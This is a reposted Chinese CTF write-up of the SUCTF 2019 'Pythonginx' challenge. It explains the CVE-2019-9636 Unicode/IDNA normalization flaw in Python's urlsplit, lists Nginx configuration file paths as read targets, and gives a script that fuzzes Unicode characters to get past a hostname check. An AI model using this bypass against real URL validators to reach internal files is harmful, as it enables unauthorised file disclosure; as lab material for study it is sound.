码迷,mamicode.com
首页 > 编程语言 > 详细

刷题记录:[SUCTF 2019]Pythonginx

时间:2019-09-05 23:47:40      阅读:492      评论:0      收藏:0      [点我收藏+]

标签:utf-8   blog   decode   动手   程序   exce   div   ctf   编码   

刷题记录:[SUCTF 2019]Pythonginx

题目复现链接:https://buuoj.cn/challenges
参考链接:2019 SUCTF wp
SUCTF_2019_部分复现

一、涉及知识点

1、 CVE-2019-9636:urlsplit不处理NFKC标准化

https://bugs.python.org/issue36216

2、Nginx重要文件位置

  • 配置文件存放目录:/etc/nginx
  • 主配置文件:/etc/nginx/conf/nginx.conf
  • 管理脚本:/usr/lib64/systemd/system/nginx.service
  • 模块:/usr/lisb64/nginx/modules
  • 应用程序:/usr/sbin/nginx
  • 程序默认存放位置:/usr/share/nginx/html
  • 日志默认存放位置:/var/log/nginx

二、解题方法

抄个脚本

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

虽然想到可能是编码的问题,但是没动手去写脚本跑,懒狗一条。
还有wp是github上搜到的,不愧是全球最大同性交友网站,下次不能局限于百度

刷题记录:[SUCTF 2019]Pythonginx

标签:utf-8   blog   decode   动手   程序   exce   div   ctf   编码   

原文地址:https://www.cnblogs.com/20175211lyz/p/11470200.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!